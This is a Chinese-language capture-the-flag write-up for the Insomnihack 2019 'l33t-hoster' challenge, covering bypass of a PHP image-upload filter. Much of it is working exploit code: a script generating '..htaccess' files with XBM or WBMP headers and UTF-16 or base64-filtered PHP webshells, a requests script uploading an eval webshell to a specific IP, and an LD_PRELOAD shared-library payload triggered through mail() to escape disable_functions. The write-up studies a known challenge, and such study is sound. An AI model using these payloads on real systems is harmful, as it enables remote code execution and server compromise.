https://github.com/eboda/insomnihack/tree/master/l33t_hosterphp
<?php if (isset($_GET["source"])) die(highlight_file(__FILE__)); session_start(); if (!isset($_SESSION["home"])) { $_SESSION["home"] = bin2hex(random_bytes(20)); } $userdir = "images/{$_SESSION["home"]}/"; //用戶上傳文件的路徑 if (!file_exists($userdir)) { mkdir($userdir); } $disallowed_ext = array( "php", "php3", "php4", "php5", "php7", "pht", "phtm", "phtml", "phar", "phps", ); //限制了php文件上傳,黑名單形式,那麼確定能夠繞過 if (isset($_POST["upload"])) { if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) { die("yuuuge fail"); } $tmp_name = $_FILES["image"]["tmp_name"]; $name = $_FILES["image"]["name"]; $parts = explode(".", $name); $ext = array_pop($parts); //array_pop刪除數組最後一個元素並返回該元素 if (empty($parts[0])) { array_shift($parts); //刪除數組第一個元素並返回該元素 } if (count($parts) === 0) { die("lol filename is empty"); } if (in_array($ext, $disallowed_ext, TRUE)) { die("lol nice try, but im not stupid dude..."); } $image = file_get_contents($tmp_name); if (mb_strpos($image, "<?") !== FALSE) { die("why would you need php in a pic....."); } if (!exif_imagetype($tmp_name)) { die("not an image."); } $image_size = getimagesize($tmp_name); if ($image_size[0] !== 1337 || $image_size[1] !== 1337) { die("lol noob, your pic is not l33t enough"); } $name = implode(".", $parts); move_uploaded_file($tmp_name, $userdir . $name . "." . $ext); } echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>"; foreach(glob($userdir . "*") as $file) { echo "<li><a href='$file'>$file</a></li>"; } echo "</ul>"; ?> <h1>Upload your pics!</h1> <form method="POST" action="?" enctype="multipart/form-data"> <input type="file" name="image"> <input type="submit" name=upload> </form> <!-- /?source -->
這道題首先能夠上傳.htaccess,那麼此時就可讓服務器去解析任意後綴看成php執行,一步一步看html
首先python
if (count($parts) === 0) { die("lol filename is empty"); }
這一段代碼判斷$parts的值,可是若是上傳.htacess,通過array_pop和array_shift將變成空數組,此時將沒法向下執行,又由於程序是以.點分割,因此直接..htacess就能夠繞過,即最後將拼接成.htaccess,我修改了一下代碼,var_dump了一下$FILES數組,此時能夠看看$FILES數組的內容:git
接下來要繞過exif_imagetype()函數和getimagesize()函數,查一下這兩個函數的用法github
也就是將檢查咱們上傳的文件,並返回一個常量,不然返回false,那咱們要讓.htaccess文件繞過它,就要針對它的檢測特性去構造數據,由於它最終要返回常量,那咱們就要讓這個函數認爲.htaccess爲一個合法的圖像類型web
其中常量包括:shell
採用xbm格式,X Bit Map數組
在計算機圖形學中,X Window系統使用X BitMap(XBM),一種純文本二進制圖像格式,用於存儲X GUI中使用的光標和圖標位圖
XBM數據由一系列包含單色像素數據的靜態無符號字符數組組成。當格式被廣泛使用時,XBM一般出如今標題(.h文件)中,每一個圖像在標題中存儲一個數組。如下C代碼示例了一個XBM文件:
也就是用c代碼來標識一個xbm文件,前兩個#defines指定位圖的高度和寬度(以像素爲單位),好比如下xbm文件:服務器
#define test_width 16 #define test_height 7 static char test_bits[] = { 0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60 };
在這個c文件中高和寬都是有#在前面的,那麼咱們即便把它放在.htaccess文件中也不會影響.htaccess的實際運行效果,因此新的.htaccess文件內容以下session
#define width 1337 # Define the width wanted by the code (and say we are a legit xbitmap file lol) #define height 1337 # Define the height AddType application/x-httpd-php .php16 # Say all file with extension .php16 will execute php php_value zend.multibyte 1 # Active specific encoding (you will see why after :D) php_value zend.detect_unicode 1 # Detect if the file have unicode content php_value display_errors 1 # Display php errors
接下來能夠上傳php16了,那麼對於上傳的php要繞過其<?的過濾,目標服務器是php7.2那麼<script>形式不行,這裏使用了php內容的不一樣編碼格式來bypass,只要把內容換個編碼形式就好,做者用的是utf-16,
也就是說原來是utf-8一個字符一個字節,如今utf-16是兩個字節編碼一個字符,那麼明顯能夠繞過內容的過濾,下面給出做者的exp:
#!/usr/bin/python3 # Description : create and bypass file upload filter with .htaccess # Author : Thibaud Robin # Will prove the file is a legit xbitmap file and the size is 1337x1337 SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be')) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess(): htaccess = open('..htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .php16\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("webshell.php16", "<?php system($_GET['cmd']); die(); ?>") generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir'])); die(); ?>") generate_php_file("getfile.php16", "<?php echo file_get_contents($_GET['file']); die(); ?>") generate_php_file("info.php16", "<?php phpinfo(); die(); ?>")
腳本理解起來很簡單,就是添加xbm圖片標誌頭,而後添加.htaccess的文件內容,而後生成utf-16大端編碼的shell,可是實際上這裏system是被diable的
做者到一部已經結束了,接下來看看非預期解。
直接從bypass如下這部分代碼開始看:
if (!exif_imagetype($tmp_name)) { die("not an image."); } $image_size = getimagesize($tmp_name); if ($image_size[0] !== 1337 || $image_size[1] !== 1337) { die("lol noob, your pic is not l33t enough"); }
這時候做者直接想到:
若是強行加magic number是不能被正確解析的,能夠加註釋#
,可是沒有magic number爲#
。感受到這時候能夠fuzz了。
做者這裏去看了php的源碼,並用如下的文件標誌頭去測試服務器的反應,
可是發現ico的長度最可能是0xff,爲1337是0x539,jp2 只修改header不能改變getimagesize的結果。
而後查到了wbmp,也是一個bitmap圖片,和預期解法同樣也是bitmap,都是一種圖片文件構成簡單的圖片,可是每每這種能繞過檢查,由於容錯性比較高,地址爲:https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format
圖片繞過之後,就能夠bypass內容檢查<?,這裏只要使用php的過濾器便可,做者用的是base64編碼,用其餘的確定也能夠,只要添加下面這一行便可,那麼在訪問.htaccess同目錄下的某個文件時,自動使用base64解碼
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
這裏放一下做者上傳.htaccess以及shell的exp:
import requests import base64 url = "http://35.246.234.136/?" header = {"Cookie":"PHPSESSID=58eshi3a265dguf0icnkc6qk5a"} htaccess = b"""\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .wuwu php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu" """ shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>") files = [('image',('..htaccess',htaccess,'application/octet-stream'))] data = {"upload":"Submit"} proxies = {"http":"http://127.0.0.1:8080"} print("upload .htaccess") r = requests.post(url=url, data=data, files=files,headers=header)#proxies=proxies) # print(r.text) print("upload shell.wuwu") files = [('image',('shell.wuwu',shell,'application/octet-stream'))] r = requests.post(url=url, data=data, files=files,headers=header)
接下來到bypass_disfunction的時候了:
這裏學到一招,能夠先用
var_dump(get_defined_functions());
去查看一下當前運行環境可以執行的函數,由於disable_function執行之後,被禁用的函數在程序運行開始就不會加載進來,這裏mail函數沒有過濾,因此能夠結合mail和LD_PRELOAD來bypass,這裏又學到了,
先放共享庫的c程序:
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */ #include <stdlib.h> #include <stdio.h> #include <string.h> void payload(char *cmd) { char buf[512]; strcpy(buf, cmd); strcat(buf, " > /tmp/_0utput.txt"); system(buf); } int geteuid() { char *cmd; if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); if ((cmd = getenv("_evilcmd")) != NULL) { payload(cmd); } return 1; }
這裏的cmd其實是個動態的cmd,即每次取環境變量_evilcmd裏面的值來執行,因此只需上傳一次so,就能夠經過shell執行多個命令,由於這裏是不回顯結果的,因此直接寫到txt裏面,接下來是對應的shell:,而後使用腳本進行上傳:
import requests url = "http://localhost:8000/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/webshell.php16" param = {"cmd":"move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/seu.so');echo 'ok';var_dump(scandir('/tmp'));"} files = [('file',('seu.so',open("seu.so","rb"),'application/octet-stream'))] r = requests.post(url=url, files=files, params=param) print(r.text)
對於這種沒有回顯的命令,咱們能夠輸出一點東西,證實的確命令執行成功
執行完之後,而後上傳shell:
import requests url = "http://localhost:8000/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/webshell.php16" param = {"cmd":"move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/shell.php');echo 'ok';var_dump(scandir('/var/www/html/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0'));"} files = [('file',('shell.php',open("shell.php","rb"),'application/octet-stream'))] r = requests.post(url=url, files=files, params=param) print(r.text)
<?php $r1 = putenv("LD_PRELOAD=/tmp/seu.so"); echo "putenv: $r1 <br>"; $cmd = $_GET['cmd']; $r2 = putenv("_evilcmd=$cmd"); echo "putenv: $r2 <br>"; $r3 = mail("1@2", "", "", "",""); echo "mail: $r3 <br>"; highlight_file("/tmp/seu.txt"); ?>
此時訪問咱們的shell.php,已經可以成功bypass
後面就再也不看了,後面是經過perl管道來執行get_flag程序來讀flag,直接像上傳shell同樣上傳這個perl腳本而後perl run.pl執行就能夠獲得flag。
完整的wp在https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md
參考:
https://xz.aliyun.com/t/3937#toc-4
https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md
https://thibaudrobin.github.io/articles/bypass-filter-upload/